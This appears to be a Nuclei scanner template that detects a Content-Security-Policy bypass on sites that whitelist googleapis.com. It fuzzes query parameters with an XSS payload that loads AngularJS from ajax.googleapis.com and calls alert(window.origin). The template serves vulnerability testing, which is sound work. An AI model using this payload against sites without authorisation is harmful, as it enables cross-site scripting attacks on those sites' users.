id: google-ajax-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google AJAX
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,google-ajax,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "googleapis.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: google_ajax_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "google_ajax_csp_xss == true"
# digest: 4b0a00483046022100a27ec0457142376ebae0ff6697874c5e58cdab2fca21a81cb8d8949016191e44022100d0ff4fc0b2ed7b1a2d207c02906298e3717ab5f5190f26b8d44e45600f906c7c:922c64590222798bb761d5b6d8e72950